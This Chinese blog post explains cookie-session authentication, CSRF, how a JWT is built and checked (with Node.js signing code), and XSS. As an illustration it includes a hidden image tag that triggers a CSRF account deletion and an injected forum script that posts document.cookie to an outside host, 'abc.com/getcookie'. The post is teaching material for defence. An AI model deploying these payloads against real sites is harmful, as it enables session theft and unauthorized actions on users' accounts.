美文网首页
JWT与XSS/CSRF攻击

JWT与XSS/CSRF攻击

作者: 炒鸡大馒头 | 来源:发表于2019-01-07 22:22 被阅读0次

    web服务中,用户输入用户名密码登入之后,后续访问网站的其他功能就不用再输入用户名和密码了。传统的身份校验机制为cookie-session机制:

    cookie-session机制

    • 用户浏览器访问web网站,输入用户名密码
    • 服务器校验用户名密码通过之后,生成sessonid并把sessionid和用户信息映射起来保存在服务器
    • 服务器将生成的sessionid返回给用户浏览器,浏览器将sessionid存入cookie
    • 此后用户对该网站发起的其他请求都将带上cookie中保存的sessionid
    • 服务端把用户传过来的sessionid和保存在服务器的sessionid做对比,如果服务器中有该sessionid则代表身份验证成功

    这种方式存在以下几个问题:

    • 代码安全机制不完善,可能存在CSRF漏洞
    • 服务端需要保存sessionid与客户端传来的sessionid做对比,当服务器为集群多机的情况下,需要复制sessionid,在多台集群机器之间共享
    • 如果需要单点登入,则须将sessionid存入redis等外部存储保证每台机器每个系统都能访问到,如果外部存储服务宕机,则单点登入失效

    CSRF攻击

    • 用户访问A网站(http://www.aaa.com),输入用户名密码
    • 服务器验证通过,生成sessionid并返回给客户端存入cookie
    • 用户在没有退出或者没有关闭A网站,cookie还未过期的情况下访问恶意网站B
    • B网站返回含有如下代码的html:
    //假设A网站注销用户的url为:https://www.aaa.com/delete_user
    <img src="https://www.aaa.com/delete_user" style="display:none;"/>
    
    • 浏览器发起对A网站的请求,并带上A网站的cookie,注销了用户

    JWT认证方式

    JWT全称 Json Web Token,是一个长字符串,由三部分组成:Header(头部)Payload(负载)Signature(签名)Header.Payload.Signature,用.分割各部分内容,看起来大概就像下面这样:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6InhpYW8gamllIiwiYWRtaW4iOnRydWV9.MjcxZGFjMmQzZjNlMzdjMTU0OGZmM2FlNzFjNDkyMDAwODkzZGNiYmFkODc0MTJhYTYzMTE4MmY0NDBhNzkzZA

    生成过程如下:

    const crypto = require("crypto");
    const base64UrlEncode = require("base64url");
    //头部信息
    var header = {
        "alg": "HS256", //签名算法类型,默认是 HMAC SHA256(写成 HS256)
        "typ": "JWT" //令牌类型,JWT令牌统一为JWT
    };
    //负载信息,存储用户信息
    var payload = {
        "sub": "1234567890",
        "name": "xiao jie",
        "admin": true
    }
    //服务器秘钥,用于加密生成signature,不可泄漏
    var secret = "chaojidamantou";
    //header部分和payload部分
    var message = base64UrlEncode(JSON.stringify(header)) + "." + base64UrlEncode(JSON.stringify(payload));
    //HMACSHA256加密算法
    function HMACSHA256(message, secret) {
        return crypto.createHmac('sha256', secret).update(message).digest("hex");
    }
    //生成签名信息
    var signature = HMACSHA256(message, secret);
    //header和payload部分内容默认不加密,也可以使用加密算法加密
    var JWT = message + "." + base64UrlEncode(signature);
    console.log(JWT);
    

    验证过程如下:

    • 用户访问网站,输入账号密码登入
    • 服务器校验通过,生成JWT,不保存JWT,直接返回给客户端
    • 客户端将JWT存入cookie或者localStorage
    • 此后用户发起的请求,都将使用js从cookie或者localStorage读取JWT放在http请求的header中,发给服务端
    • 服务端获取header中的JWT,用base64URL算法解码各部分内容,并在服务端用同样的秘钥和算法生成signature,与传过来的signature对比,验证JWT是否合法

    使用JWT验证,由于服务端不保存用户信息,不用做sessonid复制,这样集群水平扩展就变得容易了。同时用户发请求给服务端时,前端使用JS将JWT放在header中手动发送给服务端,服务端验证header中的JWT字段,而非cookie信息,这样就避免了CSRF漏洞攻击。

    不过,无论是cookie-session还是JWT,都存在被XSS攻击盗取的风险:

    XSS攻击

    跨站脚本攻击,其基本原理同sql注入攻击类似。页面上用来输入信息内容的输入框,被输入了可执行代码。假如某论坛网站有以下输入域用来输入帖子内容

    发帖内容:<textarea rows="3" cols="20"></textarea>
    

    而恶意用户在textarea发帖内容中填入诸如以下的js脚本:

    今天很开心,学会了JWT
    <script>
    $.ajax({
      type: "post",
      url: "https://www.abc.com/getcookie",
      data: {cookie : document.cookie}
    });
    </script>
    

    那么当其他用户访问该帖子的时候,用户的cookie就会被发送到abc域名的服务器上了。

    为了避免xss攻击,客户端和服务端都应该对提交数据进行xss攻击转义。

    相关文章

      网友评论

          本文标题:JWT与XSS/CSRF攻击

          本文链接:https://www.haomeiwen.com/subject/emxerqtx.html